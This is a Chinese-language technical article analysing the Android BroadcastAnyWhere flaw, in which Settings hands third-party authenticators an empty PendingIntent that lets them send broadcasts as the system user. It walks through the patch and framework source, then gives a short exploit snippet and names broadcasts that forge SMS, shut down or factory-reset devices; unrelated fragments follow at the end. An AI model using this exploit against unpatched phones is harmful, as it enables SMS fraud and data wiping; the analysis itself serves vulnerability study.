編輯:關於Android編程
繼上次Android的LaunchAnyWhere組件安全漏洞後,最近Google在Android 5.0的源碼上又修復了一個高危漏洞,該漏洞簡直是LaunchAnyWhere的姊妹版——BroadcastAnyWhere。通過這個漏洞,攻擊者可以以system用戶的身份發送廣播,這意味著攻擊者可以無視一切的BroadcastReceiver組件訪問限制。而且該漏洞影響范圍極廣,Android 2.0+至4.4.x都受影響。
BroadcastAnyWhere跟LaunchAnyWhere的利用原理非常類似,兩者都利用了Setting的uid是system進程高權限操作。
漏洞同樣發生在Setting的添加帳戶的流程上,該流程詳細見《Android LaunchAnyWhere (Google Bug 7699048)漏洞詳解及防御措施》一文。而BroadcastAnyWhere漏洞則發生在這個流程之前。在分析漏洞之前, 我們先來看看漏洞修復的前後對比,具體代碼在AddAccountSetting的addAccount方法。
修復前代碼中下:
...
private static final String KEY_CALLER_IDENTITY = pendingIntent;
...
private void addAccount(String accountType) {
Bundle addAccountOptions = new Bundle();
mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);
addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
AccountManager.get(this).addAccount(
accountType,
null, /* authTokenType */
null, /* requiredFeatures */
addAccountOptions,
null,
mCallback,
null /* handler */);
mAddAccountCalled = true;
}
修復後代碼如下
...
private static final String KEY_CALLER_IDENTITY = pendingIntent;
private static final String SHOULD_NOT_RESOLVE = SHOULDN'T RESOLVE!;
...
private void addAccount(String accountType) {
Bundle addAccountOptions = new Bundle();
/*
* The identityIntent is for the purposes of establishing the identity
* of the caller and isn't intended for launching activities, services
* or broadcasts.
*
* Unfortunately for legacy reasons we still need to support this. But
* we can cripple the intent so that 3rd party authenticators can't
* fill in addressing information and launch arbitrary actions.
*/
Intent identityIntent = new Intent();
identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
identityIntent.setAction(SHOULD_NOT_RESOLVE);
identityIntent.addCategory(SHOULD_NOT_RESOLVE);
mPendingIntent = PendingIntent.getBroadcast(this, 0, identityIntent, 0);
addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
AccountManager.get(this).addAccountAsUser(
accountType,
null, /* authTokenType */
null, /* requiredFeatures */
addAccountOptions,
null,
mCallback,
null /* handler */,
mUserHandle);
mAddAccountCalled = true;
}
mPenddingIntent的作用主要是作為身份識別用的。
通過前後對比,修復方案就是把放入mPendingIntent的intent,由原來簡單的new Intent()改為事先經過一系列填充的identityIntent。這樣做,就可以防止第三方的Authenticator(主要是針對木馬)進行二次填充,後面會詳細介紹。
注意PendingIntent.getBroadcast調用的參加中,在修復前傳入的是一個空的Intent對象,這對後面的分析非常關鍵。
通過上面代碼對比分析,如果你已經對PeddingIntent的實現細節比較清楚的話,那麼這節的內容可以跳過。在PenddingIntent.java源文件中,有這麼一段說明:
/**
* ...
* ...
*
By giving a PendingIntent to another application, * you are granting it the right to perform the operation you have specified * as if the other application was yourself (with the same permissions and * identity). As such, you should be careful about how you build the PendingIntent: * almost always, for example, the base Intent you supply should have the component * name explicitly set to one of your own components, to ensure it is ultimately * sent there and nowhere else. * *
A PendingIntent itself is simply a reference to a token maintained by * the system describing the original data used to retrieve it. This means * that, even if its owning application's process is killed, the * PendingIntent itself will remain usable from other processes that * have been given it. If the creating application later re-retrieves the * same kind of PendingIntent (same operation, same Intent action, data, * categories, and components, and same flags), it will receive a PendingIntent * representing the same token if that is still valid, and can thus call * {@link #cancel} to remove it. * ... * ... */
簡單來說,就是指PenddingIntent對象可以按預先指定的動作進行觸發,當這個對象傳遞(通過binder)到其他進程(不同uid的用戶),其他進程利用這個PenddingInten對象,可以原進程的身份權限執行指定的觸發動作,這有點類似於Linux上suid或guid的效果。另外,由於觸發的動作是由系統進程執行的,因此哪怕原進程已經不存在了,PenddingIntent對象上的觸發動作依然有效。
PeddingIntent是一個Parcelable對象,包含了一個叫名mTarget成員,類型是。這個字段其實是個BinerProxy對象,真正的實現邏輯在PenddingIntentRecored.java。從源碼分析可知,PendingIntent.getBroadcast最終調用的是ActivityManagerService中的getIntentSender方法。關鍵代碼如下:
public IIntentSender getIntentSender(int type, String packageName, IBinder token, String resultWho, int requestCode, Intent[] intents, String[] resolvedTypes, int flags, Bundle options, int userId) {
enforceNotIsolatedCaller(getIntentSender);
...
...
synchronized(this) {
int callingUid = Binder.getCallingUid();
int origUserId = userId;
userId = handleIncomingUser(Binder.getCallingPid(), callingUid, userId,
type == ActivityManager.INTENT_SENDER_BROADCAST, false,
getIntentSender, null);
...
...
return getIntentSenderLocked(type, packageName, callingUid, userId, token, resultWho, requestCode, intents, resolvedTypes, flags, options);
} catch (RemoteException e) {
throw new SecurityException(e);
}
}
}
IIntentSender getIntentSenderLocked(int type, String packageName, int callingUid, int userId, IBinder token, String resultWho, int requestCode, Intent[] intents, String[] resolvedTypes, int flags, Bundle options) {
if (DEBUG_MU)
Slog.v(TAG_MU, getIntentSenderLocked(): uid= + callingUid);
ActivityRecord activity = null;
...
...
PendingIntentRecord.Key key = new PendingIntentRecord.Key(type, packageName, activity, resultWho, requestCode, intents, resolvedTypes, flags, options, userId); //根據調用者的信息,生成PendingIntentRecord.Key對象
WeakReference ref;
ref = mIntentSenderRecords.get(key);
PendingIntentRecord rec = ref != null ? ref.get() : null;
...
...
rec = new PendingIntentRecord(this, key, callingUid); //最後生成PendingIntentRecord對象
mIntentSenderRecords.put(key, rec.ref); //保存
...
return rec; //並返回
}
總結一下這個過程,就是AMS會把生成PenddingIntent的進程(Caller)信息保存到PendingIntentRecord.Key,並為其維護一個PendingIntentRecord對象,這個對象是一個BinderStub。
PendingIntent提供了一系列的send方法進行動作觸發,最終是調用PendingIntentRecord的send方法,我們直接分析這裡的代碼:
public int send(int code, Intent intent, String resolvedType,
IIntentReceiver finishedReceiver, String requiredPermission) {
return sendInner(code, intent, resolvedType, finishedReceiver,
requiredPermission, null, null, 0, 0, 0, null);
}
跟進去:
int sendInner(int code, Intent intent, String resolvedType,
IIntentReceiver finishedReceiver, String requiredPermission,
IBinder resultTo, String resultWho, int requestCode,
int flagsMask, int flagsValues, Bundle options) {
synchronized(owner) {
if (!canceled) {
sent = true;
if ((key.flags&PendingIntent.FLAG_ONE_SHOT) != 0) {
owner.cancelIntentSenderLocked(this, true);
canceled = true;
}
Intent finalIntent = key.requestIntent != null
? new Intent(key.requestIntent) : new Intent();
if (intent != null) {
int changes = finalIntent.fillIn(intent, key.flags); //用傳進來的intent進行填充finalIntent
if ((changes&Intent.FILL_IN_DATA) == 0) {
resolvedType = key.requestResolvedType;
}
} else {
resolvedType = key.requestResolvedType;
}
...
...
switch (key.type) {
...
case ActivityManager.INTENT_SENDER_BROADCAST:
try {
// If a completion callback has been requested, require
// that the broadcast be delivered synchronously
owner.broadcastIntentInPackage(key.packageName, uid,
finalIntent, resolvedType,
finishedReceiver, code, null, null,
requiredPermission, (finishedReceiver != null), false, userId);
sendFinish = false;
} catch (RuntimeException e) {
Slog.w(ActivityManagerService.TAG,
Unable to send startActivity intent, e);
}
break;
...
}
...
return 0;
}
}
return ActivityManager.START_CANCELED;
針對該漏洞我們只分析broadcast這個分支的邏輯即可。這裡發現,會用send傳進來的intent對finalIntent進行填充,通過前面的代碼分析得到,這裡的finalInent是一個“空”的intent,即mAction, mData,mType等等全為null,這使得幾乎可以隨意指定finalIntent的內容,見fillIn的代碼:
public int fillIn(Intent other, int flags) {
int changes = 0;
if (other.mAction != null
&& (mAction == null || (flags&FILL_IN_ACTION) != 0)) {
mAction = other.mAction;
changes |= FILL_IN_ACTION;
}
if ((other.mData != null || other.mType != null)
&& ((mData == null && mType == null)
|| (flags&FILL_IN_DATA) != 0)) {
mData = other.mData;
mType = other.mType;
changes |= FILL_IN_DATA;
}
if (other.mCategories != null
&& (mCategories == null || (flags&FILL_IN_CATEGORIES) != 0)) {
if (other.mCategories != null) {
mCategories = new ArraySet(other.mCategories);
}
changes |= FILL_IN_CATEGORIES;
}
if (other.mPackage != null
&& (mPackage == null || (flags&FILL_IN_PACKAGE) != 0)) {
// Only do this if mSelector is not set.
if (mSelector == null) {
mPackage = other.mPackage;
changes |= FILL_IN_PACKAGE;
}
}
// Selector is special: it can only be set if explicitly allowed,
// for the same reason as the component name.
if (other.mSelector != null && (flags&FILL_IN_SELECTOR) != 0) {
if (mPackage == null) {
mSelector = new Intent(other.mSelector);
mPackage = null;
changes |= FILL_IN_SELECTOR;
}
}
if (other.mClipData != null
&& (mClipData == null || (flags&FILL_IN_CLIP_DATA) != 0)) {
mClipData = other.mClipData;
changes |= FILL_IN_CLIP_DATA;
}
// Component is special: it can -only- be set if explicitly allowed,
// since otherwise the sender could force the intent somewhere the
// originator didn't intend.
if (other.mComponent != null && (flags&FILL_IN_COMPONENT) != 0) {
mComponent = other.mComponent;
changes |= FILL_IN_COMPONENT;
}
mFlags |= other.mFlags;
if (other.mSourceBounds != null
&& (mSourceBounds == null || (flags&FILL_IN_SOURCE_BOUNDS) != 0)) {
mSourceBounds = new Rect(other.mSourceBounds);
changes |= FILL_IN_SOURCE_BOUNDS;
}
if (mExtras == null) {
if (other.mExtras != null) {
mExtras = new Bundle(other.mExtras);
}
} else if (other.mExtras != null) {
try {
Bundle newb = new Bundle(other.mExtras);
newb.putAll(mExtras);
mExtras = newb;
} catch (RuntimeException e) {
// Modifying the extras can cause us to unparcel the contents
// of the bundle, and if we do this in the system process that
// may fail. We really should handle this (i.e., the Bundle
// impl shouldn't be on top of a plain map), but for now just
// ignore it and keep the original contents. :(
Log.w(Intent, Failure filling in extras, e);
}
}
return changes;
}
從上面代碼得知,我們可以隨意指定除了mComponent之外的所有字段,這已經可以滿足大部分的使用情景了。
有了前面分析,漏洞復用代碼就很簡單了,這裡一個是發送系統開機廣播的例子:
// the exploit of broadcastAnyWhere
final String KEY_CALLER_IDENTITY = pendingIntent;
PendingIntent pendingintent = options.getParcelable(KEY_CALLER_IDENTITY);
Intent intent_for_broadcast = new Intent(android.intent.action.BOOT_COMPLETED);
intent_for_broadcast.putExtra(info, I am bad boy);
try {
pendingintent.send(mContext, 0, intent_for_broadcast);
} catch (CanceledException e) {
e.printStackTrace();
}
其實可利用的廣播實在太多了,再比如:
發送android.provider.Telephony.SMS_DELIVER可以偽造接收短信;發送android.intent.action.ACTION_SHUTDOWN可以直接關機;發送com.google.android.c2dm.intent.RECEIVE廣播,設備將恢復至出廠設置;等等攻擊者通過漏洞可以偽造親朋好友或者銀行電商的短信,跟正常的短信完全無異,普通用戶根本無法甄別。
除了偽造短信外,攻擊者可以利用該漏洞恢復出廠設置,對對用戶進行威脅等等。
結合LuanchAynWhere和BroadcastAnyWhere兩個漏洞,我適當的封裝了一下,實現了一個ComponentSuperAccessor的庫,有興趣的朋友可以到https://github.com/boyliang/ComponentSuperAccessor.git下載。
我們分析一些源碼的實現.首先從PMS服務開始.PMS服務即PackageManagerService,主要用來進行APK的管理任務.但是今天,我們並不直接分析PMS的源碼
一、單例模式介紹什麼是單例模式單例模式就是在整個全局中(無論是單線程還是多線程),該對象只存在一個實例,而且只應該存在一個實例,沒有副本(副本的制作需要花時間和空間資源)
Fragment 是個什麼東西?可以把Fragment理解成Activity中的模塊,這個模塊有自己的布局,有自己的生命周期,單獨處理自己的輸入,在Activity運行的
ViewPagerIndicator,配合ViewPager使用的指示器,可以是標簽類型Tab指示器(如各種新聞app),也可以是小圓圈或小橫線類型的指示器(如引導頁),